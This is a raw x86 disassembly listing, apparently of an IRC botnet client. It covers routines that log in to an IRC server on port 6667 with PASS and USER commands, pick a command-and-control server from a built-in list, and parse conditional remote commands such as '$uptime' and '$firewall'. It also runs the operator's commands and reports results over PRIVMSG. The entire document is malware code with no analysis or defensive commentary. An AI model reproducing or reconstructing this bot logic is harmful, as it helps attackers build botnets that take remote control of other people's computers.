		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE00
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE00
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE00
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE00
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE00
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE00
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E974
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE00
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA40[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA40[eax]
		push	offset dword_41E868
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA44[eax]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	off_41DA48[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA48[eax]
		push	offset byte_41E6E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E868
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E6E8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E6E8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E6E8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E6E8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EE98
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EE98
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F018
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F018
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE18
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE18
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
